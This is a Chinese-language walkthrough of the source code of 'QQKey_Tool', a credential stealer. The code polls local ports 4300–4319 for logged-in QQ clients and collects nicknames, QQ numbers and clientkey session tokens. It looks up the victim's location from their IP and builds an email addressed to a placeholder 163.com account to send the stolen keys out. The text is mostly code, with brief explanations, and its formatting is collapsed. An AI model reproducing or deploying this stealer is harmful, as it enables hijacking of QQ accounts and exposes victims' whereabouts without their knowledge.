whileTrue: try: whileTrue: result = [] i = 4300 while i < 4320: try: info = get_info(i) print(info) for j in info: ifnot j.get("clientkey"): break else: result.extend(info) i += 1 continue continue except: i += 1 print(i,'failed') continue result = [i for x,i inenumerate(result) if i notin result[:x]] print(result) if result: break
外层 while True 循环用于持续尝试,直至成功获取到有效的 QQ 信息。
中间的 while True 循环会遍历从 4300 到 4319 的端口,调用 get_info 函数获取信息。
内层 while 循环会检查获取的信息中是否包含 clientkey,若包含则添加到结果列表中。
最后,对结果列表进行去重操作。
5. 获取 IP 地址信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
try: ip_data = requests.get("https://qifu-api.baidubce.com/ip/local/geo/v1/district").json() if ip_data.get("code") == 'Success': ip = ip_data.get("ip") country = ip_data.get("data").get("country") city = ip_data.get("data").get("city") district = ip_data.get("data").get("district") else: ip = '未知' country = '未知' city = '未知' district = '未知' except: ip = '未知' country = '未知' city = '未知' district = '未知'
向百度 IP 地址查询接口发送请求,获取当前 IP 地址的地理位置信息。若请求失败或者返回结果异常,则将信息设为 “未知”。
6. 构建邮件内容
1 2 3 4 5 6 7 8 9 10 11 12
content = f"""------------------------------------------------------ ip:{ip} Tip: 如果邮件标题地址显示不全请访问 https://www.ip138.com 使用上方ip手动查询地址 Tip: 新版本搭建包已移除获取登录网址的功能,如需使用请转至QQKey_Tool的Key解析器使用 ------------------------------------------------------\n""" ifnot result: content = "ERROR:未获取到任何在线的QQ!" for i in result: content += f"""昵称:{i.get("nickname")} QQ号:{i.get("clientuin")} clientkey:{i.get("clientkey")} ------------------------------------------------------\n"""
whileTrue: try: whileTrue: result = [] i = 4300 while i < 4320: try: info = get_info(i) print(info) for j in info: ifnot j.get("clientkey"): break else: result.extend(info) i += 1 continue continue except: i += 1 print(i, 'failed') continue result = [i for x, i inenumerate(result) if i notin result[:x]] print(result) if result: break try: ip_data = requests.get("https://qifu-api.baidubce.com/ip/local/geo/v1/district").json() if ip_data.get("code") == 'Success': ip = ip_data.get("ip") country = ip_data.get("data").get("country") city = ip_data.get("data").get("city") district = ip_data.get("data").get("district") else: ip = '未知' country = '未知' city = '未知' district = '未知' except: ip = '未知' country = '未知' city = '未知' district = '未知' content = f"""------------------------------------------------------ ip:{ip} Tip: 如果邮件标题地址显示不全请访问 https://www.ip138.com 使用上方ip手动查询地址 Tip: 新版本搭建包已移除获取登录网址的功能,如需使用请转至QQKey_Tool的Key解析器使用 ------------------------------------------------------\n""" ifnot result: content = "ERROR:未获取到任何在线的QQ!" for i in result: content += f"""昵称:{i.get("nickname")} QQ号:{i.get("clientuin")} clientkey:{i.get("clientkey")} ------------------------------------------------------\n""" # 配置SMTP服务器信息 whileTrue: # 创建邮件对象 msg = MIMEText(content) msg['Subject'] = f'[QQKey_Tool] 获取到来自{country + city + district}某人的key' msg['From'] = "XXX@163.com"# 这里替换为你的发件邮箱 msg['To'] = "XXX@163.com"# 这里替换为收件人的邮箱